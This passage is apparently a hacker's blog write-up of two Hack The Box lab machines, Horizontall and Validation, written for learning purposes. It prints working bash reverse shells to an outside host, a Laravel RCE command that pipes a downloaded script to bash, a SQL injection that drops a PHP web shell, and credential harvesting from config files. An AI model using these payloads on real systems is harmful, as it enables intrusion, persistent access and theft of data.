Just like that, I had code execution and could send myself a reverse shell. First, I set up a netcat listener on my attack box. Next, I ran the following command in the shell on the target machine. Finally, I landed on the box as the strapi user and was able to grab the user flag.

bash -c 'bash -i >& /dev/tcp/10.10.14.36/9001 0>&1'

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9001
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.234.11] 46802
[email protected]:~/myapi$ ls /home
ls /home
developer
[email protected]:~/myapi$ cat /home/developer/user.txt
cat /home/developer/user.txt
6e7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓dc0
[email protected]:~/myapi$ 

Horizontall Authenticated Enumeration

First, I wanted to establish persistence on the host so I created a .ssh directory in /opt/strapi/.ssh. Next, I created an SSH key using ssh-keygen and echoed the public key into the authorized_keys file. Finally, I gave the SSH private key 600 permissions and used it to SSH to the host. Once I was back on the host I enumerated the listening services and discovered that port 8000 and MySQL were listening locally.

Listening Services

First, I decided to try and get access to MySQL. Starting at the /opt/strapi/ directory, I ran a recursive grep for the word password but was bombarded with noise. After jumping around a few directories I finally found the database password.

[email protected]:~/myapi/config$ grep -R password
environments/production/database.json:        "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json:        "password": "#J!:F9Zt2u"
environments/staging/database.json:        "password": "${process.env.DATABASE_PASSWORD || ''}",

As a result, I was able to log in to the MySQL database as the development user but this appeared to be a dead end. I queried the database and dumped the contents of the various user tables but couldn’t find any hashes other than the administrators.

MySQL

Laravel

Since MySQL was a dead end, I moved on to see what was listening on port 8000. Using SSH, I performed local port forwarding so that I could access port 8000 via localhost:1234. Upon visiting that port I found a Laravel application.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ ssh -L 1234:localhost:8000 -i key [email protected]
Laravel

I ran gobuster to discover directories and was able to identify the /profiles directory. However, the box crapped out shortly after and killed my tunnel.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://localhost:1234/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt
Gobuster again

I recreated the tunnel and navigated to the profiles directory. The application appeared broken and had visual debugging enabled. Searching Google for Laravel Debug exploits resulted in finding this payload >>HERE<< which I recreated locally.

Laravel debug mode

Horizontall Privilege Escalation

I ran the exploit using the syntax below and the results indicated that Laravel was running as root. I was almost there, all I needed to do now was craft a reverse shell and send it back to myself.

┌──(kali㉿kali)-[~/HTB/Horizontall/laravel]
└─$ python3 exploit.py http://localhost:1234 Monolog/RCE1 id
python exploit

I was close to getting it right the first time. You can see from the screenshot below the different payloads I tried before resuming IppSec’s video. I attempted the first two on my own before resuming the video but as soon as he said curl, I paused it again and executed the payload myself. Little victories.

Reverse Shell

I created a shell script which contained the following bash script. I then used the exploit with curl to download the file which I then piped to bash to execute it.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ cat shell.sh      
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9002 0>&1

Below, you can see the exact command I used. It needed to be enclosed in single quotation marks.

┌──(kali㉿kali)-[~/HTB/Horizontall/laravel]
└─$ python3 exploit.py http://localhost:1234 Monolog/RCE1 'curl http://10.10.14.36/shell.sh|bash'

This connected back to my netcat listener and allowed me to capture the root flag.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.234.11] 42330
bash: cannot set terminal process group (65829): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
19c▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8f4
[email protected]:/home/developer/myproject/public#

Horizontal Learnings

There was certainly a lot to learn from this one. I’m starting to understand the difference between difficult and time-consuming boxes. The time it takes to own a box doesn’t necessarily equate to the difficulty. This box took me a long time to complete but it wasn’t that difficult. Owning this box required exploiting publically known vulnerabilities with available exploits. In my opinion, that is exactly what an easy box should be. It did require a lot of enumeration and knowing what to look for.

I enjoyed this box a lot, it let me practise techniques I’m familiar with. It introduced me to technologies I hadn’t used before and their vulnerabilities. Furthermore, it also highlighted areas where I need to invest time to improve. Admittedly, I was worried that the different exploits weren’t going to work but I was pleasantly surprised. Overall, this was a great box which I’m probably going to revisit to get a better understanding.

Hack The Box Validation Writeup

Validation is an easy Linux virtual machine created by IppSec on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where today I will be explaining how I hacked Validation. To hack this box you will need web enumeration and SQL injection skills.

Validation Host Enumeration

First, I connected to the VPN and spawned the machine through the Hack The Box control panel. Next, I pinged the box to ensure that it was online and that I could talk to it. Following that, I exported the IP address to a variable called ‘validation’ and scanned it. Using Nmap, I scanned the host for all ports, running default scripts and requesting service versions. As a result, you can see that the host had port 22 for SSH, port 80 for HTTP (Apache) and port 4566 for HTTP (Nginx) open.

┌──(kali㉿kali)-[~/HTB/Validation]
└─$ export validation="10.129.95.235"
┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo nmap -sC -sV -p- $validation -oA validation
Validation Enumeration

SSH was unlikely to be the intended attack vector so I loaded up Burp and launched the built-in browser. Next, I navigated to the IP address of the box and was presented with a UHC September Qualifiers registration page.

Validation Web Application Enumeration

The application lets you submit a name to register for the UHC September Qualifiers. Furthermore, the names of the players from the submitted country are then included in the response. For that reason, I suspected that the application might be vulnerable to SQL Injection.

Validation Web Application

Therefore, I saved the POST request to a file and fed it to ‘sqlmap’. You can see from the results below that ‘sqlmap’ doesn’t believe the parameters were injectable. I’m quite surprised that ‘sqlmap’ didn’t find it as the application does produce an SQL error when doing it manually. It could be because it is second-order SQL injection but I honestly don’t know. I’m going to read through the HackTricks article this evening. IppSec also has a video where he discusses creating middleware to make ‘sqlmap’ work so I might take a look at that at the end.

Validation Failed SQL Injection

Admittedly, due to a lack of understanding or laziness, I probably wouldn’t have poked at this further until I saw the error message. However, I captured the registration POST request with Burp and sent it to ‘repeater’. Next, I added a single quotation mark to the end of the value of the country parameter. I sent the request but didn’t see any SQL errors in Burp. At first, I thought it was because of my cookie settings but I had session cookies enabled for ‘repeater’. However, as you can see from the image below, the SQL injection did break the syntax of the SQL statement.

username=haxez&country=United+Kingdom'

Exploiting SQL Injection

The process to test this is as follows. First, capture a registration POST request. Second, append the single quotation character to the value of the country parameter. Third, send the request and copy the value of the cookie in the 302 response. Fourth, paste the value of the cookie in your current cookie and refresh the page. The results should show that the parameter is injectable. I used this vulnerability to write a PHP web shell to the ‘/var/www/html/’ directory.

username=shell&country=United+Kingdom' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
SQL Injection to PHP webshell

I then visited ‘http://10.129.234.49/shell.php?cmd=id’ in my browser which responded with the information of the user that the webserver was running as.

Validation PHP CMD Exploit

Validation Foothold

I took the request to ‘shell.php’ from Burp’s HTTP history and sent it to ‘repeater’. Next, I converted the request method from a GET to a POST. Then I set up a netcat listener on port 9001 and crafted a reverse shell payload in the POST request. Finally, I URL encoded the payload by highlighting it and pressing ‘CTRL+U’ and sent it. Then I got that feeling that you get when the response hangs… success.

cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Reverse Shell

The reverse shell had successfully connected back to my machine and I now had a foothold on the box as ‘www-data’.

Validation www-data

Validation Pillaging and Privilege Escalation

It’s time to pillage! now that I had access to the box, I could look for privilege escalation methods. All database-powered websites have a database connection configuration file. For example, WordPress has ‘wp-config.php’ which contains the username and password of the database user. Validation’s configuration file was called config.php. The database connection configuration file for this web application was named config.php. Within that configuration file were the credentials for the database.

  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-▓▓▓▓▓▓▓▓▓▓-pw";
  $dbname = "registration";

I used the password to switch user to the root user and was able to capture both the user and root flags.

cat /root/root.txt
078▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓f57

ls /home
htb
cat /home/htb/user.txt
904▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0d3

Middleware for SQLMap

I watched IppSec’s video walkthrough of this box, specifically the application middleware section. He believes that ‘sqlmap’ couldn’t find the vulnerability due to the username. However, he creates a solution that makes it work using a Python Flask application. Since the whole purpose of these write-ups is for me to learn, I decided to copy him.

Personal Rant

Admittedly, the most Python coding I’ve done was at University when I recreated the game Boggle. My lecturer failed me and I had to resit the whole module the following year because I didn’t provide enough documentation. The program worked fine though. I believe that’s the reason I started falling behind in other classes which resulted in me dropping out during my final year. It’s a shame because I was mostly getting A’s and B’s until that point. Can you tell how not salty I am about wasting thousands of pounds? Anyway back to the lab.

Flask Application

The Flask application will send the request to the Validation host for us. It will populate the ‘username’ and ‘password’ parameters and send them as a POST request. This should allow ‘sqlmap’ to identify the vulnerability and allow me to dump the database. The foothold would still be through the PHP reverse shell but this way I get to learn some Python. You can see the code (which I “borrowed” from IppSec) below.

from flask import Flask
from flask import request
import uuid
import requests

app = Flask(__name__)

@app.route('/')
def index():
    data = {"username": uuid.uuid4().hex,
            "country": request.args.get("country")}
    r = requests.post('http://10.129.234.49', data=data)
    return r.text
app.run(host='0.0.0.0', port=80)

The Set-Up

I span up the Python Flask application using the command below. Once the application was up and running, I visited my localhost on port 80 in the Burp browser. I appended the country parameter to the request and intercepted it with Burp. I then copied the request to a file and called it middleware.

┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo python3 mid.py 
Burp Flask Application

The Heist

With the request saved, I fed it to ‘sqlmap’ with no other arguments. As you can see below, it did indeed find that the ‘country’ parameter was vulnerable to SQL injection. I ran ‘sqlmap’ again but this time I appended the ‘–dump’ argument to the end of the command. The database was successfully dumped.

sqlmap

The data from the database was also saved to a CSV which was nice.

Excel Database Dump

Validation Learnings

Validation has been pwned! I know it’s a retried box but spoilers ahead! This was a fun box and I believe it did a great job of presenting what needed to be attacked. There didn’t appear to be any rabbit holes to fall down which was nice. The application allowed users to register and then retrieved data from a database and presented it to the user. I thought this sent a pretty clear message as to what needed to be done. The foothold taught me that you can use MySQL to write a file to the local filesystem. I think I knew this before but from an administrative perspective. However, that neural pathway for exploiting it has now been created. The reverse shell through Burp worked on my first attempt which suggests I’m getting a better grasp on that.

I think the privilege escalation was realistic. From my time in the industry, I know that weak passwords and password reuse happens often. It also shows the importance of properly enumerating a host. There could be stored credentials that would allow you to easily elevate your privileges. Unfortunately, I’m currently stuck in a mindset where I assume people won’t use weak passwords or the same password for a higher privileged account. The same can be said for when testing applications, I automatically assume that it has been developed securely. While I’m frequently proven wrong, it still surprises me. Perhaps it’s positive thinking but at least I’m aware that my thinking is flawed and can reprogram myself. Great box, thanks IppSec.